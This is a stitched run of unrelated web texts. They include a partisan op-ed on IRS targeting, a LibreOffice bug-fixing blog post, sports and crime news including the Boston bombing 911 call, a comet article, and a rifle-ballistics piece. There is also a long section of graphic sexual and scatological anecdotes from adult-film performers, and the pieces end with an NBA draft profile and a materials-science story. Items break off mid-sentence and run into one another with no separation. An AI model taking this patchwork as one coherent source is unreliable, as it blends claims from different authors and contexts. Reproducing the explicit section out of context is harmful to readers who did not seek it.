by students to determine if they learned skills and acquired knowledge as a result of the training.” So the training lacked feedback, and no one bothered to see if it worked. If the training’s goal was to stop IRS harassment of conservatives, it failed. During its investigation, Congress discovered the IRS was 900 percent more likely to audit donors to targeted Tea Party groups. The same agency that took almost a year to produce a single list and sat on applications through multiple political cycles still gives targeted groups timeframes like 30 days to turn over scores of documents under threat of having to start over. The training didn’t stop the agency from enforcing a decades-old “policy” of halting work on applicants suing them. The DC appeals court described it thusly: “the IRS is telling the applicants in these cases that ‘we have been violating your rights and not properly processing your applications. You are entitled to have your applications processed. But if you ask for that processing by way of a lawsuit, then you can’t have it.’” It Isn’t Even Close to Over It may also just be the start. Evidence suggests targeting will continue and indeed spread —even assuming the IRS henceforth uses objective criteria to approve tax-exempt applications. It is important to note the structural factors that caused the scandal and assess the likelihood of recurrence. As Kimberly Strassel documents in “The Intimidation Game,” the Citizens United case fueled a cauldron of pressure on federal agencies having regulatory authority over political speech. The president, Senate Democrats including Chuck Schumer, Max Baucus, and Sheldon Whitehouse, and campaign finance reform groups blitzed the federal apparatus to stop uninvited political speech. In a 2010 conference at Duke University Lerner described this pressure: Everyone is up in arms because they don’t like [Citizens United]. The Federal Election Commission can’t do anything about it so they want the IRS to fix the problem... So everybody’s screaming at us right now. Fix it now! Before the election! Can’t you see how much these people are spending... I can’t do anything right now. The IRS got the message and “fixed it.” Yet the same forces “up in arms” over Citizens United are still “screaming.” Some, like Whitehouse (D-Rhode Island), doubled down with the IRS. Whitehouse, one of the main “screamers,” recently urged the IRS to start targeting conservative “dark money groups” anew and described the scandal thusly: “An under-funded and harried IRS has been unwilling to police the activities of powerful social welfare groups after an effort to separate out new applicants blew up in its face.” The poor IRS was being pushed around, and powerful nonprofits weren’t being “policed” because of a benign administrative mix-up. That these groups depended on the IRS—which made them wait years, produce scores of documents, and asked them pertinent questions like “what did you pray about”—matters not. Nor, apparently, does it matter that Whitehouse himself was a leading “harrier.” It’s not true, it’s not true... We’ll Use Other Agencies to Target Conservatives Others moved to new targets, most notably the Securities and Exchange Commission and its chairwoman, Mary Jo White. Sen. Elizabeth Warren (D-MA) has been on the warpath to get White removed as chair. Warren has aimed her quiver at White because the SEC has refused left-wing pressure to force disclosure of corporate support of trade associations. Whether Warren’s crusade against White bears fruit likely does not matter. Warren asked the president to replace White as chair so someone with less fortitude could carry out Warren’s political agenda. While admitting such a move would be “uncommon,” Warren views it as critical for “investor protection”—a protection the SEC has never deemed necessary through its history. Whether corporate America doesn’t already favor most of Warren’s agenda is an open question. But organizations and trade associations that promote heresies like free-market capitalism are funded. Thus the perpetual left-wing outrage machine has enemies that must be identified and subdued. Whether Warren’s crusade against White bears fruit likely does not matter. Eventually companies that fund free-market nonprofits will be revealed in an illegal transfer to the SEC’s enforcement division a la Lerner, or the IRS will “accidently” make donor lists public like it did with the National Organization for Marriage. Or DOJ’s anti-trust division, or the Environmental Protection Agency, or the hundred other federal agencies with large budgets and career employees who “get the message” from everybody “screaming” will act. The directive is code hidden in plain sight. No FOIA request will discover it. The next Tea Party scandal is not only coming, it may already be happening. When it does, the charade will begin anew, and no one will pay a price. The only loss will be Americans’ constitutional rights. Once again, it will be old news.I must say that I’ve been attentive reader of TDF feeds almost from the very beginning of its history, when I couldn’t think to develop for LibreOffice. And reading posts of developers, where they described what they had done at their hack-weeks at SUSE, made me really envy them… So here is my first hack-(rest-of-the)-week at Collabora Productivity! That’s cool! And when it happened, it turned out that I need to finish a work that I started this week. What a pity! Well, the task itself was really interesting, and I’m glad that it is in a close-to-be-finished form in gerrit… but still. So, only hack-weekend 🙂 As I didn’t have that much time, I couldn’t afford doing something big and lengthy. So I turned to my favorite topic: SAXParseException. Here I need to tell you what is it. Until LibreOffice 5.0.4, many errors in XML that LibreOffice reads were simply silently ignored. Note that both LO’s native format, ODF, as well as its most popular competitor, OOXML, are XML formats. It means that the file could be read incorrectly, some data could be dropped, some bugs could go unnoticed, but file opened as if everything was OK. Data loss could go unnoticed. In January 2015, two days before my daughter’s 3rd birthday, a named hero Michael Stahl took required steps and committed a patch that put that madness to end. Now every error in the XML data that LO reads is reported to user as famous SAXParseException. This annoys users, but it yells loudly “Fix me!”, and it has already enabled us to find and fix quite a number of errors that previously went unnoticed. So, I must say that I like to hack on these bugs. But since I started to work full-time as developer, I had not that much time for them. And now I took bug 99227 for the rest of my hack-week. It turned out to be LibreOffice OOXML export filter fault, that caused loss of drawings in footnotes/endnotes. It also created an invalid XML, which was caught on following import, telling that it found “Extra content at the end of the document”. I’m happy to say that the patch is on its way (it’s on review, and after some rounds of fixing my evident mistakes pointed out by merciless reviewers, it will be pushed). It may seem odd that I feel so enthusiastic about changing hacking on LO by … hacking on LO. 🙂 But actually, my daily work is so great, I really love it! and being able to choose tasks myself is the only part that I miss sometimes… and that I get now. Thanks to Collabora Productivity, to all fellow hackers, and thank you for reading this 🙂 AdvertisementsLAS VEGAS -- Anthony Johnson has more controversy on his hands. An online petition that came to light this week accuses Johnson of abusing dogs and asks the UFC to release him because of it. On Thursday at UFC 191 media day, Johnson denied the allegations, but admitted to the practice of cropping his dogs' ears. The petition was filed four months ago. "My dogs are well liked and well loved," Johnson said. "I take my dogs everywhere. Somebody put I'm manipulating my dogs. Dude, I cropped his ears. I'm not beating the dog, I'm not starving the dog to death. Nothing like that. I definitely laugh at things like that, because everybody that knows me -- even if you don't know me and look at my Instagram, look at my Facebook and stuff -- you can tell I love my dogs." The practice of cropping a dog's ears is a controversial one. It is illegal throughout Europe, but not in the United States. The American Kennel Club accepts it as a practice because it is "integral to defining and preserving breed character and/or enhancing good health." However, veterinarians oppose it when it is done solely for cosmetic purposes. Johnson owns a kennel business called Rumbletime Kennels. "I'm not what the media tries to make me out to be, but I am who I am," Johnsons aid. "That whole kennel thing, that's not even my dog and people want to make it sound like it's my dog. But I do crop my dog's ears. At the same time, they want to talk about dogs with cropped ears, they need to go after everybody. They're just trying to target me just because." Johnson, 31, meets Jimi Manuwa on Saturday at UFC 191 here at MGM Grand Garden Arena. The South Florida resident was under investigation by the UFC in recent weeks following an incident with a woman at his gym. Johnson allegedly pulled a yoga mat from under a woman and threw it, because the woman was stretching too close to where people were lifting weights. "Rumble" wrote about the situation angrily on Facebook and said the woman was "built like a bag of dry dog food." Johnson apologized a day later. A week after that, the UFC said Johnson would attend counseling and donate money to a women's charity. The whole situation came under extra scrutiny, because Johnson has been accused of domestic violence three times by three separate women. He was suspended by the UFC last year after a woman claiming to be the mother of his children accused him of domestic abuse. In 2010, Johnson pleaded no contest to a domestic violence charge in California. Johnson has denied wrongdoing in those situations. And, in this instance, he is adamant that he loves his dogs. "Rumble" has been involved in anti-dog fighting charities in the past. "I don't care," Johnson said. "If you see my Instagram or my kennel Instagram -- Facebook and all that stuff with my dogs -- you can clearly tell my dogs are loved. They eat steaks every day. I eat freakin' French fries. They eat steaks. "I'm not worried about all that. If they want to go after my dogs, that's fine. My dogs will sit there and look at them and smile at them if anything, with their tongues out. If they want to go after my dogs, go ahead."Armed with only an iphone and a piece of chalk, one Portobello resident has been chalking up a small victory for unwary pedestrians on the streets of Portobello A Portobello resident has been out on the streets marking dog mess with chalk, in an effort to keep his fellow pedestrians from having an unfortunate mishap. Paul Lambie is surprisingly modest about his recent act of good citizenship. "It definitely made a few people smile. I'm pretty confident that nobody watches their dog take a dump and then walks off happy. I hope it's most often an accident. Maybe it's older folk that can't bend down to pick up the doo. It IS something that needs addressing and I thought I might be able to get people talking about solutions. And it's funny. It'd be great if people all over town started chalking up dookie warnings." Lambie isn't the first to take this matter into his own hands. Will Perrin, who writes a local blog about Kings Cross in London, used colourful Islington Council flags to draw attention to the worst areas in his neighbourhood. There have even been suggestions by some, such as Nicky Getgood of Talk About Local that we harness the power of social media tools like twitter to create a geo-tagged #ukpoo map of Britain, similar to the #snowmap that was created last winter. There is a serious issue here. As Getgood writes in her call to arms, "it's filthy, unsightly and downright dangerous when there are children about (Toxocariasis is no urban myth)." And, as the council website makes clear, it is an offence not to clear up after your dog when they foul a public place. For now, Lambie's old school use of chalk is an interesting way of raising awareness. Perhaps other good citzens of Edinburgh could start chalking warnings on the worst streets in the city. If you do, drop Guardian Edinburgh a photo. You can even use the FixMyStreet tool on the frontpage to let the council know where it is. Coming to a street near you! Photo: Paul Lambie What is the worst street in Edinburgh for dog poo? Comment below or contact us by email.BOSTON - More than three years after the Boston Marathon bombings, the 911 call that ended the most dramatic manhunt in Boston history was released to CBS Boston station WBZ on Friday. On April 19, 2013 -- four days after three people were killed and more than 270 others were hurt when two homemade bombs exploded at the marathon finish line -- the Boston area was virtually on lockdown as law enforcement officers frantically searched for one of the suspects, Dzhokhar Tsarnaev. The search followed the shooting death of an MIT police officer and a gunbattle between authorities and Tsarnaev's older brother and fellow bomber, Tamerlan, who was shot and killed. Police believed the younger Tsarnaev was wounded and still in the Watertown area. That evening, after authorities told people they could leave their homes, Watertown resident David Henneberry called 911 after discovering a bleeding Tsarnaev hiding in his boat, parked in Henneberry's backyard. Henneberry: "I have a boat in my yard. There's blood all over the inside. There's a person in the boat." 911 Operator: "Are you sure?" Henneberry: "I just looked in the boat." 911 Operator: "Okay. Stay on the phone. Are you in the house? Stay in the house." Henneberry: "I just looked in it and I found something on the outside and I got nervous. And I looked in and I saw blood all over the floor of the boat and there's a body in the boat." In this handout provided by the Massachusetts State Police, the boat in which Boston Marathon bombing suspect Dzhokhar A. Tsarnaev is hiding is seen from the Forward Looking Infrared setting of a police helicopter on Franklin Street on April 19, 2013 in Watertown, Massachusetts. Massachusetts State Police via Getty Images 911 Operator: "Stay where you are." Henneberry: "He's in the boat laying the floor. Climb up the ladder you can open the hatch. He's in the boat." 911 Operator: "Is he alive?" Henneberry: "I don't know!" The call ends with Henneberry calmly telling the operator police had arrived. Tsarnaev was taken into custody later that night after a standoff with police. Before surrendering, Tsarnaev scrawled a note on the inside of the boat. "God has a plan for each person. Mine was to hide in this boat and shed some light on our actions," Tsarnaev wrote in pencil, essentially admitting the role he and his brother played in the bombings. "We are promised victory and we will surely get it. Now I don't like killing innocent people...but due to said [bullet hole] it is allowed," he continued. "The U.S. Government is killing our innocent civilians but most of you already know that. I can't stand to see such evil go unpunished.... I ask Allah... to allow me to return to him and be among all the righteous people in the highest levels of heaven," the note read. The so-called boat note was just one of hundreds of pieces of evidence introduced at Tsarnaev's trial. He was convicted and sentenced to death in May 2015 for his role in the bombings.5 Things You Didn’t Know About the Minimum Wage Recent protests by fast food workers across the U.S. have spurred a national conversation about the Federal minimum wage. Many are labelling this compensation scheme the “starvation” wage — and rightly so. According to John Mason, a professor of politics at William Patterson University in New Jersey, “[The minimum wage] effectively places you at 30% below the official poverty budget.” In light of these recent events, we bring you five facts about the minimum wage that you probably didn’t know. 1. The national minimum wage is $7.25/hour. If you work for 40 hours a week for 52 weeks, your income would be $15,080. The poverty threshold for a family of 3 is $18,480. 2. If you work 40 hours a week and get paid minimum wage, you cannot afford rent for a two-bedroom apartment. 3. Contrary to popular belief, most minimum wage workers are not teenagers working part time for extra cash. 88.3% of minimum wage workers are 20 years of age or older, vs. 11.7%, who are under 20 years of age. 4. Fast-preparation and serving-related occupations have the most workers paid the minimum wage. 5. In 1968, the minimum wage was $1.60. Adjusted for inflation, that would be $10.56 today. What are your thoughts on the current Federal minimum wage? Should it be raised? What should be done about it, if anything at all?“I have worn myself thin trying to find out about this comet, and I know very little now in the matter.” -Maria Mitchell Our Solar System is a relatively quiet place, which it ought to be after some 4.5 billion years. While the early days saw a flurry of violent activity, with collisions, gravitational interactions and even ejections, things have settled down an awful lot. In the inner Solar System, the four rocky planets orbit peacefully, undisturbed by one another. Beyond them, thousands of smaller, rocky bodies pass by in the asteroid belt. Out a little farther, the four gas giants — themselves failed stars — host their own complex planetary systems with moons of their own, while the Kuiper Belt and Oort Cloud lie even beyond that. Image credit: NASA / JPL. But every so often, a Kuiper Belt object wanders too close to Neptune, or a passing encounter with a star or rogue planet perturbs the Oort Cloud, or one of those outer, icy bodies passes too close to another. When this happens, there’s a reasonable probability that one of those distant, lonely worlds will change its trajectory and pass through the inner Solar System. And when it nears us, passing interior to the orbit of Jupiter, it begins to heat up. Image credit: ESA/Rosetta/NAVCAM. Tails begin to develop, and debris flies off of these bodies, creating the phenomenon we know as a comet. While we normally think of comets as stable, recurring phenomena — like Halley’s Comet, which returns every 76 years — the reality is a lot more complex. As comets make their periodic trips through the inner Solar System, they often pass by planets and/or the Sun relatively closely, and as such, have their orbits gravitationally influenced by these bodies. When the right combination of circumstances occur, one of two fates almost always awaits such a comet: either it will hurtle into (or pass too close to) the Sun and burn up, or its trajectory will change enough to eject it from the Solar System entirely! While the first possibility is exactly what happened to Comet ISON less than two years ago, the latter possibility is what’s in store for the next comet headed our way: Comet Catalina, coming close to Earth later this month. Originating from the Oort Cloud, this icy body used to take millions of years to orbit the Sun just a single time, but a gravitational encounter with something out there flung it into the inner Solar System. Image credit: NASA / JPL-Caltech, NEOWISE. On November 15th, it will make its closest approach to the Sun — perihelion — passing interior to the orbit of Earth and reaching a minimum distance of 123 million km (76.5 million miles) from the Sun. After that, it will make its closest approach to Earth, where it may well become a naked-eye comet, and will certainly be visible through even a cheap pair of binoculars. Image credit: Starry Night Education Software, via David Dickinson at http://www.universetoday.com/122611/comet-us10-catalina-our-guide-to-act-ii/. On December 17th, it will cross the celestial equator, becoming visible everywhere in the Northern Hemisphere. It will head towards the orange giant, Arcturus, which is the brightest star in the Northern Hemisphere, passing within one degree of it on New Year’s Day. But after that, Comet Catalina will begin to dim, passing near the Big Dipper and headed out of the Solar System. Image credit: NASA / JPL-Caltech; NEOWISE. Yes, not to the outer Solar System, but out of the Solar System entirely. During this trip close to the Sun, Comet Catalina has acquired just a tiny bit of extra kinetic energy, where at perihelion, it will travel at a maximum speed of 46,400 m/s relative to our Sun: just 25 m/s faster than our Sun’s escape velocity. This means that, over the next thousand years or so, it will head back into the Oort cloud and slow down, but will keep moving past all the other objects out there, eventually floating into true interstellar space on a timescale of hundreds of thousands of years. Although in many ways, the visuals will be spectacular: the tail will be over 500,000 miles (800,000 km) long, the coma (or halo) around the comet’s nucleus will be green in color, and there’s a good chance it will be visible to the naked eye, it will at best appear as a faint “smudge” under dark sky conditions, best viewed in the pre-dawn sky. Nevertheless, unless something comes along to change the comet’s trajectory again, unexpectedly, this will be our last and only chance to see it as a species. Like everything in the Universe, this object is destined to depart from our reach, but on a much shorter timescale than any other natural object found so far.How Much Performance Do You Lose to a Short Barrel on Your Hunting Rifle? Short barrels bother some hunters. They shouldn’t. It’s true that short barrels usually cost you some velocity. A cartridge/bullet fired through a 24-inch tube will generate more speed than the same cartridge/bullet fired through a 22-inch tube, 18-inch tube or 16.5-inch tube. But is it enough to matter? Not so far as the deer are concerned. The thing about deer, elk, moose, bears, kudu, eland and tree squirrels is that they don’t know what hit them. Disrupt their cardio/pulmonary system or central nervous system and they’ll expire quickly if not immediately. They do not care if this was done by a bullet racing 3,400 fps, 2,400 fps, 1,400 fps or 400 fps. They don’t even care if it was a broadhead creeping along at a mere 250 fps. None of those are going to bounce off! That’s why poachers kill so many deer with 22 Long Rifles. You see, speed doesn’t kill. Not even the energy contained in that speed kills. The knockout punch only counts when it connects with the central nervous system, and then — as the 22 Long Rifle has again and again proven — just a little goes a long, long way. And that takes us back to tissue destruction, a product of putting a bullet in the right place. That part of decreased velocity from a short barrel is worth investigating. How A Short Barrel Changes Velocity If a short barrel decreases velocity so much that you shoot under your target, you’ve got a problem. This is the real reason for magnums and long barrels and hyper velocity and low drag/high B.C. bullets. All those things help a bullet go farther before falling, which makes it easier to hit what you want at unknown distances. As a general rule, an inch less barrel will cost a bullet between 25 and 50 fps velocity. This varies depending on powder volume and the burning rate of that powder. The more powder and the slower its burning rate, the more barrel volume needed to burn it. Regardless, 50 fps of lost speed isn’t much, so lets go radical and compare velocity from a 24-inch barrel and an 18-inch barrel and see how that changes downrange drop. The cartridge firing this bullet doesn’t matter, but bullet B.C. does, so we’ll standardize it at.450 and assign muzzle velocity at 3,000 fps for the 24-inch barrel. We’ll subtract 50 fps for each inch lopped off. We’re cutting back six inches. That equals 300 fps. Now lets run some numbers and see the downrange effect. The columns most pertinent are Impact, which is where the bullets strike given our 250-yard zero range; Energy; and Drift, which reflects how far the bullet will be deflected by a right angle wind. Note that at 300 yards — a long shot for most of us — the bullet from the 18-inch barrel drops only an inch more than that from the 24-inch barrel. Drift is only an inch more, too. One lousy inch. You can argue that the 16 inches of additional drop from the 18-inch barrel at 600 yards is a huge thing. That dimension is the chest measurement, brisket to backline, of a pronghorn and many whitetails. But… aside from the fact that few of us are properly equipped or trained to take such long shots, there is this device called a laser range finder that renders this insignificant. Laser Nullifies Short Barrel Velocity Loss The distance measuring precision of laser range finders is what makes long range shooting possible. Without that precise measurement, no one could accurately guess 600 yards vs. 700 vs. 500, and at those distances a 30-yard mistake can mean 7 to 10 inches of additional drop. Long range shooters live and die by their rangefinders. That makes drop virtually irrelevant. Wait a minute. How can the drop from a short barrel be irrelevant? Well, because laser distance measurements are always combined with known trajectory curves, the second essential tool in effective long range shooting. Every serious, effective distance shooter knows the drops and drifts of his bullet. That ballistic information enables him/her to dial or select the correct reticle for each shot. Do you see where this is going? As long as a shooter has a laser and trajectory chart, it doesn’t matter if he’s shooting 2,700 fps from an 18-inch short barrel or 3,000 fps from a 24-inch long barrel — or 3,200 fps from a 28-inch super long barrel. The combination of precise range measurement and applied trajectory curve data equals precision shot placement (given proper gun handling, wind doping and trigger work.) This information probably isn’t going to induce many extreme range shooters to sell their 28-inch barreled 26 Noslers, but it should reassure regular and medium range hunters who are interested in the handling convenience of short barrel rifles. If most of your hunting/shooting is confined to 300 yards or less, you might want to consider saving some weight and making your field rifle easier to maneuver through thick cover by shortening its barrel. I wouldn’t do this with a special, long range magnum, but anything in the 30-06 class and especially the short-action 308 class is a perfect candidate for a short barrel. # # #The 28-year-old son of a Florida fertility doctor has been charged by federal authorities with tricking his girlfriend into taking a pill used to induce labor and cause an abortion, killing the embryo she was carrying. The federal case may have far-reaching implications. WFLA's Jeff Patterson reports. The label on the bottle said it contained a common antibiotic, but prosecutors say inside was a drug that's often used to induce abortions. Remee Jo Lee, 26, was six weeks pregnant when her boyfriend gave her a pill he said was prescribed by his father, a Florida fertility doctor, to treat a bacterial infection, according to court papers. Lee says she trustingly swallowed the pill, and within hours started bleeding. She went to the hospital, where she had a miscarriage and learned that her boyfriend had tricked her into terminating her pregnancy, her lawyer alleges. Now the ex-boyfriend, John Andrew Welden, 28, is in county lockup, facing a civil lawsuit and a murder rap. A federal indictment unsealed Thursday charged Welden with product-tampering and first-degree murder under the Unborn Victims of Violence Act, charges that could carry a life sentence. Courtesy of Gil Sanchez Remee Jo Lee says her boyfriend tricked her into taking an abortion pill and she miscarried at six weeks. The lawyer who represented him at an initial appearance Wednesday did not return a phone call but said in court that the allegations were out of character for his client, according to The Associated Press. In a civil complaint and statement, Lee's attorney described how an eight-month romance turned toxic when his client became pregnant in February. Lee "was anticipating motherhood with great joy and excitement," but Welden begged her not to go through with it, lawyer Gil Sanchez said in a press release. "Everyone dreams of becoming a mom. This was my chance," Lee told told Tampa's WFTS-TV. In late March, Welden took Lee to his father's Lutz, Fla., clinic for a prenatal examination, including a sonogram and blood and urine samples that confirmed a healthy pregnancy, Lee's lawsuit says. The next day, Welden told Lee that his father had diagnosed her with an infection and prescribed Amoxicillin, the antibiotic, the suit charges. In reality, the doctor's son had forged a prescription for Cytotec, an ulcer drug that can be used for non-surgical abortions because it causes contractions, Lee's lawyer said. "He came to my house with the pills, his weapon of choice," Lee told WFTS. "He told me to keep taking them. I was supposed to take three a day for days." Welden later admitted to Lee that he had fooled her, the suit claims. It describes his actions as "outrageous, beyond the bounds of decency and utterly intolerable." The suit seeks unspecified damages in excess of $15,000. "We may soon be seeking redress for Lee against others who may have some degree of liability for this heinous act," Sanchez said, without identifying anyone. Welden, who worked at his father's clinic but was not a doctor, is the only person charged with a crime. Workers at the clinic declined to comment.Everyone makes mistakes on the job from time to time. Waiters drop plates, data entry employees enter the wrong data, baseball players strike out, teachers spill wine on their students' essays. But when you're a porn star and your job is to have sex in front of a camera, fuck ups tend to be extremely intimate and can involve things that no one ever thinks about, such as, Did I make that person feel bad after he accidentally pooped on my face? I hopped on the phone with six top adult stars (recommended to us by our friends at Pornhub) to take a stroll down X-rated memory lane. Their stories of sex gone wrong ran the gamut from a Spongebob parody with some technical issues to a few scatological surprises. Keiran Lee: The GILF Who Couldn't Handle Her Shit Image via Keiran Lee's Instagram. When you film in England, you always get one or two directors who used to be performers and can't let it go. I was working with this one director, who may or not have been jealous of his performers, and he says to my mate and me, "OK, I have this amazing MILF lined up for you guys outside the city. Do you want to do the scene?" We were early in our careers and said sure. So my friend and I drove three hours to get there, and the woman was no MILF. She was about 68, but looked at least 78. The drive was so long that I said, "Fuck it. We might as well do the scene." We flipped a coin to decide who would fuck her first, and Danny lost. He said he'd do three positions: doggie, reverse cowgirl, and spooning, so he didn't have to see her face. They get into it, and during one position, she pulls him out and goes to kiss him, but he says, "None of that!" and goes upstairs and actually starts vomiting in the bathroom. For some reason, though, my johnny was hard as a rock. I was ready to go. We start doing the scene, and I keep it up. I was ramming her so hard that everyone on set was afraid I was gonna give her a heart attack. We were having normal sex, penis in pussy, but I was fucking her so hard that she ended up shitting herself. There was shit all over her, the bed, and me. It happens. I look back on that one with a laugh. Follow Keiran Lee on Twitter. Skin Diamond: The 'Spongeknob Squarenuts' Cockblock I think one of the funniest scenes I've ever shot was a Spongebob parody. I was Sandy the Squirrel and the guy was "Spongeknob Squarenuts." We were doing the voices, badly, and it was so hard to keep a straight face. They had made the Spongebob costume out of cardboard, but it was heavy. There was a hole cut out for his dick, and the guy could barely maneuver in the suit. He couldn't really fuck me while wearing it, so we tried to do an oral scene first. We did this cute bit where his dick hits my glass helmet, but once we got past that we couldn't keep it together. He was holding up this heavy box with his arms and kept losing his hard-on because the costume was so straining. It still cracks me up to think about. Follow Skin Diamond on Twitter. Michael Lucas: The Scene Must Go On Image via So this isn't a story that happened to me, but I filmed it happening. In the gay adult film industry, we deal with fucking up the ass, and when you deal with fucking up the ass, things happen. It's like people who used work in the swamp: you get used to shit. We were doing this sensual scene—it was romantic, loving, and full of kissing, caressing, and intimacy. The men were beautiful. One was this dark-featured Argentine man, and the other was this all-American guy with blonde hair and muscles. It was going so well. They started with kissing, then they moved to sucking, and then they moved into rimming. It was very sensual. As they were rimming each other, we asked the receiver, the Argentinian guy, to open himself really wide so we could see everything. Right as the American performer was going in to rim, the guy projectile diarrhea-ed into his mouth. Then the American guy projectile vomits immediately on to his ass and back. Here's the interesting part, though. They cleaned themselves up, we changed the sheets, sprayed the room, opened the windows, and decided to pick the scene back up from where we'd left off. Everything went smoothly this time around, until the all-American actor started crying. It was the Argentinian guy who'd had the accident. I said, "Why are you crying? It's not your fault." He replied, "I'm a professional, and I shouldn't have vomited." He felt bad that he might have made the other performer feel bad or uncomfortable, when he was the one who was shit on! It was amazing. He was so mature in such a difficult situation. Follow Michael Lucas on Twitter. For more on sex, watch our doc "The Japanese Love Industry": Nikki Benz: The Slip 'n Slide Image via Nikki Benz's Instagram I remember this one scene we were shooting in Hawaii. It was beautiful and we were overlooking the water from up on a grassy hill—exactly like how you'd imagine Hawaiian paradise. It was supposed to be all sexy, but as we started filming, we realized we couldn't fuck without sliding down the hill. It was uncomfortable, sure, but I was legitimately afraid I was going to slip, roll down that massive slope, and die. I think the guy I was shooting with felt the same, too, because he kept getting soft as we began sliding down. It looks incredible now, but at the time we didn't think we'd be able to even finish the scene. Follow Nikki Benz on Twitter. Eva Angelina: Mud to Mouth Image via Eva Angelina's Instagram My most embarrassing scene happened right when I started doing anal. Let me start with this: We ended up needing to re-shoot the scene at a different date and time. At that point, I was still getting my routine down on how to prepare for an anal scene. Typically, I'd eat a light dinner the night before, and then take ammonium pills, which stops your digestive system. Then, I'd do an enema. In the morning, I'd take another ammonium and clean out my ass more so I can coast. Then, I go through the whole day with a butt plug. My ass is really tight and the second you take out the butt plug it gets tight again. So the plug helps make it a little looser. So at this early point in my career, I was familiar with enemas, but it wasn't working right on this one shoot. I wasn't getting shit. I was getting muddy water. No matter how hard I tried, the water wouldn't run clear. It got to the point where there was so much water in my intestines it was as if I had received a colonic. We were doing an anal scene, and it was supposed to include ass to mouth. I had already been leaking throughout the shoot, but when we got to that point, we realized there was muddy water all over my face. There was no way they could edit that shit to make it look normal. We called it a wrap. Some days you should just not do anal. I learned the hard way. Follow Eva Angelina on Twitter. Johnny Sins: Burning Love Image via Brazzers (NSFW) The worst scenes are always whenever you almost get injured on set. There was this one time I was playing a fireman and I was supposed to rush into this house and save Nikki Benz. Budget
, so he opens up a lot of space on the floor for his teammates: What makes Bolden unique is that he’s a stretch 4 who also has the athleticism of a rim-running 5. He’s a threat to catch and finish lobs anywhere around the basket: Bolden is comfortable playing with the ball in his hands, and he loves to push the pace himself after grabbing the defensive rebound. While he occasionally forces passes that aren’t there, he’s a high-IQ player with the ability to see the floor, and he should be better served by playing with more talent at the NBA level: Bolden remembered that play, from the semifinals of the Serbian League playoffs, as soon as I asked him about it. "[My teammate] wasn’t ready for the pass. I saw him two steps before. Before I even got the ball, I knew where it was going," he said with a chuckle. Just because you can see a play doesn’t always mean you should make it, and Bolden will have to learn how to walk that line to earn the trust of his NBA coaches. He always plays with his head up, and he’s the rare player his size who can turn over the defense and then run the break the other way: Like most players drafted outside the lottery, Bolden will have to earn his keep in the NBA based on his defense, and he has the physical tools to be an impact player on that side of the ball. While his effort level fluctuated at times — which is fairly common for a player his age — he also showed the versatility to match up with different types of players and defend multiple actions: There aren’t many guys at any level of basketball who have Bolden’s ability to protect the rim and slide his feet on the perimeter. He doesn’t have the defensive instincts or mentality of an elite shot blocker, but when he’s in the right position on the floor, he can play way above the rim and reject shots with authority: The most intriguing aspect of Bolden’s defensive profile is how he would fare in the type of switch-heavy defensive scheme that is becoming increasingly popular in the NBA. Watch him switch onto Mega Leks point guard and fellow NBA prospect Ognjen Jaramaz in this sequence and force him into an almost impossible shot: "I think defensive versatility is a strength of mine," Bolden said. "I want to become a player who can guard all five positions." One of the most common criticisms about Bolden in scouting circles is that he isn’t as tough as he needs to be to survive in the paint in the NBA. He will need to continue getting stronger, but his frame has noticeably filled out since his days at UCLA, and it’s not like he’s going to play all that much in the paint at the next level anyway. The ironic part about Bolden’s decision to go overseas is that he wanted to play more as a small forward in order to showcase his perimeter game, but there’s no longer much of a line between 3 and 4 in the NBA. The nature of the 4 position is changing rapidly, with players like Harrison Barnes and Al-Farouq Aminu making the switch in recent years. Bolden is ideally equipped to switch screens and guard out on the perimeter while still being able to hold his own on the glass and bang in the post, which have become essential tools for a modern player at the 3, 4, or 5. In contrast to guys like Jahlil Okafor, who were born 15 years too late to be great in the NBA, Bolden has come to the league at the perfect time for a player with his skill set to succeed. There are only two players in this draft other than Bolden who shot more than 40 percent from 3 while still averaging at least one block and one steal per game. One is Markelle Fultz, the likely no. 1 overall pick, and the other is Derrick White, a senior guard from Colorado who may end up being taken in the first round. "What will really surprise people about Jonah is just how good a shooter he is and how athletic he is," said Jason Smith, his high school coach, who has sent 10 players to the NBA in his 16 years at Brewster Academy. "He’s the prototype combo forward. He just came back from Serbia this week, and I think as he works out for NBA teams word will start to get out about what type of player he is." One thing holding Bolden back is that many decision-makers in NBA front offices have not seen him in person since his time at UCLA. His season in Serbia didn’t end until early June, so he won’t have the chance to hit the workout circuit as heavily as some of his college peers. He will have a pro day in Los Angeles on June 17, but it’s unclear how many general managers will get a chance to look at him, considering how busy their schedules are in the week leading up to the draft. While it was widely reported that Bolden signed a two-year deal with KK Crvena Zvezda (more commonly known as Red Star) over the weekend, I was informed by his representatives that he actually signed a three-year deal with the club last season and was then loaned out to FMP, which essentially serves as a farm team for the bigger club. However, due to the way the Adriatic League regulates loan agreements, Bolden’s contract with Zvezda was initially reported as a one-year deal with FMP. He still intends to come over to the NBA next season after paying a buyout to Zvezda, which could be an issue for teams looking for a draft-and-stash player (the Blazers, Jazz, and Nets, who all have multiple first-rounders) at the end of the first round. If Bolden had stayed at UCLA and spent a year running the break with Ball, there’s no telling where he would have been drafted. Two of the big men who replaced him at UCLA, TJ Leaf and Ike Anigbogu, are currently projected as first-round picks, even though neither is as versatile as Bolden. No matter where he ends up being taken, the 21-year-old has a mature perspective that belies his age: "Once the draft is over, it doesn’t matter whether you got picked in the lottery or in the second round," Bolden said. "Everyone has to prove themselves once they get to the NBA, and I know I can play."Illustration: University of Wisconsin—Madison Advertisement There is a fairly large number of materials that might have some pretty attractive properties if they could be made into monolayer, two-dimensional (2-D) sheets. Unfortunately, unlike graphene, which is fabricated by peeling away layers from bulk graphite, these other materials don’t have a multi-layered source. But now the fabrication of these materials has become a possibility through a novel “bottom-up” production technique whose development may have just changed the future of 2-D materials in electronics. Researchers at the University of Wisconsin-Madison (UW-Madison) have developed a technique in which a zinc oxide monolayer self assembles in a liquid with the help of a surfactant. After six years of trial-and-error testing with different surfacants, the UW-Madison researchers believe they have found the right mix. In research explained in a paper published in the journal Nature Communications, the researchers discovered that when a surfactant—essentially a detergent—containing sulfate ions was placed in a liquid containing zinc ions, it would trigger the self-assembly of zinc oxide nanosheets. The negatively charged sulfate ions in the surfactant attract the positively charge zinc ions, and within a couple of hours, the 2-D zinc oxide is formed. The idea for this approach came to Xudong Wong, one of the authors of the paper, while teaching a class on nanotechnology back in 2009. “Under the correct conditions, a surfactant will self-assemble to form a monolayer,” said Wong, in a press release. “This is a well-known process that I teach in class. So while teaching this I wondered why we wouldn't be able to reverse this method and use the surfactant monolayer first to grow the crystalline face.” In tests, the researchers discovered that the zinc oxide monolayers are able to function as p-type semiconductor transistors in which holes represent the majority of 